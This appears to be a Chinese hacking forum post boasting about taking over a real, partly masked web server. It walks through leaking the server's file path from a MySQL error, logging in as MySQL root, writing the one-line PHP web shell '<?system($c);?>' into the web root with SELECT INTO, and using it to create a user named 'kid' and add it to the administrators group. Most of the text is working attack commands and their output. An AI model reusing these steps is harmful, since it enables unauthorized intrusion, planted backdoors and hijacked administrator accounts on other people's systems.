长得太帅了,哈哈哈哈
提交
http://211.87.xxx.xxx/skonline/study/list.php?id=14
返回
Warning: Supplied argument is not a valid MySQL result resource in
d:\homepage\skonline\study\list.php on line 231
呵呵,一览无余。
然后,然后就是制造我们的shell
mysql -h 211.87.xxx.xxx -u root -p
password:
Welcome to the MySQL monitor. Commands end with or \g.
Your MySQL connection id is 18 to server version: 3.23.53-max-nt
Type help; or \h for help. Type \c to clear the buffer.
mysql> use test;
Database changed
mysql> create table t(cmd text);
Query OK, 0 rows affected (0.08 sec)
mysql> insert into t values(<?system($c);?>);
Query OK, 1 row affected (12.52 sec)
mysql> select * from t into d:\\homepage\\test.php;
我的shell很简单<?system($c);?>,不到20个字符,但他已经足够了
可以让我执行任意命令,由此足以看出php的强大。
怎么用?
提交
http://211.87.xxx.xxx/test.php?c=net ;user kid /add
命令成功完成
http://211.87.xxx.xxx/test.php?c=net ;localgroup administrators kid /add
命令成功完成
呵呵,测试成功,通过!